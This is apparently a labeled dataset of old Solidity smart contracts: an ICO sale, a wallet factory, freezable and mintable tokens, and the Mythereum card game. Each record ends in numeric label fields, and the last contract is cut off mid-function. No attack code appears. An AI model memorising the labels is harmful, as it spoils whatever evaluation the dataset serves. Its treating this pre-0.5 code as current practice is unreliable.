contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract PreICO is Ownable {
using SafeMath for uint256;
Token token;
uint256 public constant RATE = 2332;
uint256 public constant CAP = 228703;
uint256 public constant START = 1523692800;
uint256 public constant DAYS = 21;
uint256 public constant Bonus = 40;
uint256 public constant initialTokens = 5333333333 * 10**17;
bool public initialized = false;
uint256 public raisedAmount = 0;
mapping (address => uint256) buyers;
event BoughtTokens(address indexed to, uint256 value);
modifier whenSaleIsActive() {
assert(isActive());
_;
}
function PreICO() {
token = Token(0xb55cbc064fa6662029753b68d89037f284af658c);
}
function initialize() onlyOwner {
require(initialized == false);
require(tokensAvailable() == initialTokens);
initialized = true;
}
function isActive() constant returns (bool) {
return (
initialized == true &&
now >= START &&
now <= START.add(DAYS * 1 days) &&
goalReached() == false
);
}
function goalReached() constant returns (bool) {
return (raisedAmount >= CAP * 1 ether);
}
function () payable {
buyTokens();
}
function buyTokens() payable whenSaleIsActive {
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(RATE);
BoughtTokens(msg.sender, tokens);
raisedAmount = raisedAmount.add(msg.value);
token.transfer(msg.sender, tokens);
owner.transfer(msg.value);
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = token.balanceOf(this);
assert(balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 1 | 2,961 |
pragma solidity 0.4.24;
contract Version {
string public semanticVersion;
constructor(string _version) internal {
semanticVersion = _version;
}
}
contract Factory is Version {
event FactoryAddedContract(address indexed _contract);
modifier contractHasntDeployed(address _contract) {
require(contracts[_contract] == false);
_;
}
mapping(address => bool) public contracts;
constructor(string _version) internal Version(_version) {}
function hasBeenDeployed(address _contract) public constant returns (bool) {
return contracts[_contract];
}
function addContract(address _contract)
internal
contractHasntDeployed(_contract)
returns (bool)
{
contracts[_contract] = true;
emit FactoryAddedContract(_contract);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface ERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SpendableWallet is Ownable {
ERC20 public token;
event ClaimedTokens(
address indexed _token,
address indexed _controller,
uint256 _amount
);
constructor(address _token, address _owner) public {
token = ERC20(_token);
owner = _owner;
}
function spend(address _to, uint256 _amount) public onlyOwner {
require(
token.transfer(_to, _amount),
"Token transfer could not be executed."
);
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
ERC20 erc20token = ERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
require(
erc20token.transfer(owner, balance),
"Token transfer could not be executed."
);
emit ClaimedTokens(_token, owner, balance);
}
}
contract SpendableWalletFactory is Factory {
address[] public spendableWallets;
constructor() public Factory("1.0.3") {}
function newPaymentAddress(address _token, address _owner)
public
returns(address newContract)
{
SpendableWallet spendableWallet = new SpendableWallet(_token, _owner);
spendableWallets.push(spendableWallet);
addContract(spendableWallet);
return spendableWallet;
}
} | 1 | 2,200 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "CPH MQA";
string public constant TOKEN_SYMBOL = "CMQA";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x3ebe8A051dE462Effd29d485b7a7dA2B5C918106;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x3ebe8a051de462effd29d485b7a7da2b5c918106)];
uint[1] memory amounts = [uint(1000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 98 |
pragma solidity ^0.4.21;
library Maths {
function plus(
uint256 addendA,
uint256 addendB
) public pure returns (uint256 sum) {
sum = addendA + addendB;
}
function minus(
uint256 minuend,
uint256 subtrahend
) public pure returns (uint256 difference) {
assert(minuend >= subtrahend);
difference = minuend - subtrahend;
}
function mul(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
if (factorA == 0 || factorB == 0) return 0;
product = factorA * factorB;
assert(product / factorA == factorB);
}
function times(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
return mul(factorA, factorB);
}
function div(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
quotient = dividend / divisor;
assert(quotient * divisor == dividend);
}
function dividedBy(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
return div(dividend, divisor);
}
function divideSafely(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient, uint256 remainder) {
quotient = div(dividend, divisor);
remainder = dividend % divisor;
}
function min(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a <= b ? a : b;
}
function max(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a >= b ? a : b;
}
function isLessThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a < b;
}
function isAtMost(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a <= b;
}
function isGreaterThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a > b;
}
function isAtLeast(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a >= b;
}
}
contract Manageable {
address public owner;
address public manager;
event OwnershipChanged(address indexed previousOwner, address indexed newOwner);
event ManagementChanged(address indexed previousManager, address indexed newManager);
function Manageable() public {
owner = msg.sender;
manager = msg.sender;
}
modifier onlyManagement() {
require(msg.sender == owner || msg.sender == manager);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipChanged(owner, newOwner);
owner = newOwner;
}
function replaceManager(address newManager) public onlyManagement {
require(newManager != address(0));
ManagementChanged(manager, newManager);
manager = newManager;
}
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
}
contract MythereumERC20Token is ERC20 {
function burn(address burner, uint256 amount) public returns (bool);
function mint(address to, uint256 amount) public returns (bool);
}
contract MythereumCardToken {
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public;
function isEditionAvailable(uint8 _editionNumber) public view returns (bool);
function cloneCard(address _owner, uint256 _tokenId) public returns (bool);
function mintRandomCards(
address _owner,
uint8 _editionNumber,
uint8 _numCards
) public returns (bool);
function improveCard(
uint256 _tokenId,
uint256 _addedDamage,
uint256 _addedShield
) public returns (bool);
function destroyCard(uint256 _tokenId) public returns (bool);
}
contract Mythereum is Manageable {
using Maths for uint256;
struct Edition {
string name;
uint256 sales;
uint256 maxSales;
uint8 packSize;
uint256 packPrice;
uint256 packPriceIncrease;
}
mapping (uint8 => Edition) public editions;
mapping (address => bool) public isVIP;
mapping (address => bool) public isTokenAccepted;
mapping (address => uint256) public tokenCostPerPack;
mapping (uint256 => uint256) public mythexCostPerUpgradeLevel;
mapping (uint256 => uint256) public cardDamageUpgradeLevel;
mapping (uint256 => uint256) public cardShieldUpgradeLevel;
uint256 public maxCardUpgradeLevel = 30;
address public cardTokenAddress;
address public xpTokenAddress;
address public mythexTokenAddress;
address public gameHostAddress;
uint256 public totalShares = 0;
uint256 public totalReleased = 0;
mapping(address => uint256) public shares;
mapping(address => uint256) public released;
event CardsPurchased(uint256 editionNumber, uint256 packSize, address buyer);
event CardDamageUpgraded(uint256 cardId, uint256 newLevel, uint256 mythexCost);
event CardShieldUpgraded(uint256 cardId, uint256 newLevel, uint256 mythexCost);
modifier onlyHosts() {
require(
msg.sender == owner ||
msg.sender == manager ||
msg.sender == gameHostAddress
);
_;
}
function Mythereum() public {
editions[0] = Edition({
name: "Genesis",
sales: 0,
maxSales: 5000,
packSize: 7,
packPrice: 100 finney,
packPriceIncrease: 1 finney
});
isVIP[msg.sender] = true;
}
function () public payable {
revert();
}
function buyPack(
uint8 _editionNumber
) public payable {
uint256 packPrice = isVIP[msg.sender] ? 0 : editions[_editionNumber].packPrice;
require(msg.value.isAtLeast(packPrice));
if (msg.value.isGreaterThan(packPrice)) {
msg.sender.transfer(msg.value.minus(packPrice));
}
_deliverPack(msg.sender, _editionNumber);
}
function buyPackWithERC20Tokens(
uint8 _editionNumber,
address _tokenAddress
) public {
require(isTokenAccepted[_tokenAddress]);
_processERC20TokenPackPurchase(_editionNumber, _tokenAddress, msg.sender);
}
function upgradeCardDamage(uint256 _cardId) public {
require(cardDamageUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 2 ** (cardDamageUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade));
burnMythexTokens(msg.sender, costOfUpgrade);
cardDamageUpgradeLevel[_cardId]++;
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
require(cardToken.improveCard(_cardId, cardDamageUpgradeLevel[_cardId], 0));
CardDamageUpgraded(_cardId, cardDamageUpgradeLevel[_cardId], costOfUpgrade);
}
function upgradeCardShield(uint256 _cardId) public {
require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 2 ** (cardShieldUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade));
burnMythexTokens(msg.sender, costOfUpgrade);
cardShieldUpgradeLevel[_cardId]++;
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
require(cardToken.improveCard(_cardId, 0, cardShieldUpgradeLevel[_cardId]));
CardShieldUpgraded(_cardId, cardShieldUpgradeLevel[_cardId], costOfUpgrade);
}
function receiveApproval(
address _sender,
uint256 _value,
address _tokenContract,
bytes _extraData
) public {
require(isTokenAccepted[_tokenContract]);
uint8 editionNumber = 0;
if (_extraData.length != 0) editionNumber = uint8(_extraData[0]);
_processERC20TokenPackPurchase(editionNumber, _tokenContract, _sender);
}
function _processERC20TokenPackPurchase(
uint8 _editionNumber,
address _tokenAddress,
address _buyer
) internal {
require(isTokenAccepted[_tokenAddress]);
ERC20 tokenContract = ERC20(_tokenAddress);
uint256 costPerPack = tokenCostPerPack[_tokenAddress];
uint256 ourBalanceBefore = tokenContract.balanceOf(address(this));
tokenContract.transferFrom(_buyer, address(this), costPerPack);
uint256 ourBalanceAfter = tokenContract.balanceOf(address(this));
require(ourBalanceAfter.isAtLeast(ourBalanceBefore.plus(costPerPack)));
_deliverPack(_buyer, _editionNumber);
}
function burnMythexTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(mythexTokenAddress).burn(_burner, _amount);
}
function burnXPTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(xpTokenAddress).burn(_burner, _amount);
}
function grantMythexTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(mythexTokenAddress).mint(_recipient, _amount);
}
function grantXPTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(xpTokenAddress).mint(_recipient, _amount);
}
function grantPromoPack(
address _recipient,
uint8 _editionNumber
) public onlyManagement {
_deliverPack(_recipient, _editionNumber);
}
function setTokenAcceptanceRate(
address _token,
uint256 _costPerPack
) public onlyManagement {
if (_costPerPack > 0) {
isTokenAccepted[_token] = true;
tokenCostPerPack[_token] = _costPerPack;
} else {
isTokenAccepted[_token] = false;
tokenCostPerPack[_token] = 0;
}
}
function transferERC20Tokens(
address _token,
address _recipient,
uint256 _amount
) public onlyManagement {
require(ERC20(_token).transfer(_recipient, _amount));
}
function addVIP(address _vip) public onlyManagement {
isVIP[_vip] = true;
}
function removeVIP(address _vip) public onlyManagement {
isVIP[_vip] = false;
}
function setEditionSales(
uint8 _editionNumber,
uint256 _numSales
) public onlyManagement {
editions[_editionNumber].sales = _numSales;
}
function setEditionMaxSales(
uint8 _editionNumber,
uint256 _maxSales
) public onlyManagement {
editions[_editionNumber].maxSales = _maxSales;
}
function setEditionPackPrice(
uint8 _editionNumber,
uint256 _newPrice
) public onlyManagement {
editions[_editionNumber].packPrice = _newPrice;
}
function setEditionPackPriceIncrease(
uint8 _editionNumber,
uint256 _increase
) public onlyManagement {
editions[_editionNumber].packPriceIncrease = _increase;
}
function setEditionPackSize(
uint8 _editionNumber,
uint8 _newSize
) public onlyManagement {
editions[_editionNumber].packSize = _newSize;
}
function setCardTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
cardTokenAddress = _addr;
}
function setXPTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
xpTokenAddress = _addr;
}
function setMythexTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
mythexTokenAddress = _addr;
}
function setGameHostAddress(address _addr) public onlyManagement {
require(_addr != address(0));
gameHostAddress = _addr;
}
function claim() public {
_claim(msg.sender);
}
function addShareholder(address _payee, uint256 _shares) public onlyOwner {
require(_payee != address(0));
require(_shares.isAtLeast(1));
require(shares[_payee] == 0);
shares[_payee] = _shares;
totalShares = totalShares.plus(_shares);
}
function removeShareholder(address _payee) public onlyOwner {
require(shares[_payee] != 0);
_claim(_payee);
_forfeitShares(_payee, shares[_payee]);
}
function grantAdditionalShares(
address _payee,
uint256 _shares
) public onlyOwner {
require(shares[_payee] != 0);
require(_shares.isAtLeast(1));
shares[_payee] = shares[_payee].plus(_shares);
totalShares = totalShares.plus(_shares);
}
function forfeitShares(uint256 _numShares) public {
_forfeitShares(msg.sender, _numShares);
}
function transferShares(address _to, uint256 _numShares) public {
require(_numShares.isAtLeast(1));
require(shares[msg.sender].isAtLeast(_numShares));
shares[msg.sender] = shares[msg.sender].minus(_numShares);
shares[_to] = shares[_to].plus(_numShares);
}
function transferEntireStake(address _to) public {
transferShares(_to, shares[msg.sender]);
}
function _claim(address payee) internal {
require(shares[payee].isAtLeast(1));
uint256 totalReceived = address(this).balance.plus(totalReleased);
uint256 payment = totalReceived.times(shares[payee]).dividedBy(totalShares).minus(released[payee]);
require(payment != 0);
require(address(this).balance.isAtLeast(payment));
released[payee] = released[payee].plus(payment);
totalReleased = totalReleased.plus(payment);
payee.transfer(payment);
}
function _forfeitShares(address payee, uint256 numShares) internal {
require(shares[payee].isAtLeast(numShares));
shares[payee] = shares[payee].minus(numShares);
totalShares = totalShares.minus(numShares);
}
function _deliverPack(address recipient, uint8 editionNumber) internal {
Edition storage edition = editions[editionNumber];
require(edition.sales.isLessThan(edition.maxSales.plus(edition.packSize)));
edition.sales = edition.sales.plus(edition.packSize);
edition.packPrice = edition.packPrice.plus(edition.packPriceIncrease);
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
cardToken.mintRandomCards(recipient, editionNumber, edition.packSize);
CardsPurchased(editionNumber, edition.packSize, recipient);
}
} | 1 | 2,557 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TLG_TOKEN is StandardToken {
string public name = "TLG TOKEN";
string public symbol = "TLG";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000;
event Burn(address indexed _from, uint256 _tokenDestroyed, uint256 _timestamp);
function TLG_TOKEN() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
function burn(uint256 _burntAmount) public returns (bool success) {
require(balances[msg.sender] >= _burntAmount && _burntAmount > 0);
balances[msg.sender] = balances[msg.sender].sub(_burntAmount);
totalSupply_ = totalSupply_.sub(_burntAmount);
emit Transfer(address(this), 0x0, _burntAmount);
emit Burn(msg.sender, _burntAmount, block.timestamp);
return true;
}
} | 1 | 3,183 |
pragma solidity ^0.4.18;
library SafeMath
{
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a+b;
assert (c>=a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(a>=b);
return (a-b);
}
function mul(uint256 a,uint256 b)internal pure returns (uint256)
{
if (a==0)
{
return 0;
}
uint256 c = a*b;
assert ((c/a)==b);
return c;
}
function div(uint256 a,uint256 b)internal pure returns (uint256)
{
uint256 c = a/b;
return c;
}
}
contract ERC20
{
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned
{
address public owner;
function Owned() internal
{
owner = msg.sender;
}
modifier onlyowner()
{
require(msg.sender==owner);
_;
}
function setowner(address _newowner) public onlyowner
{
owner = _newowner;
}
}
contract TokenControl is ERC20
{
using SafeMath for uint256;
mapping (address =>uint256) internal balances;
mapping (address => mapping(address =>uint256)) internal allowed;
uint256 totaltoken;
function totalSupply() public view returns (uint256)
{
return totaltoken;
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(_to!=address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
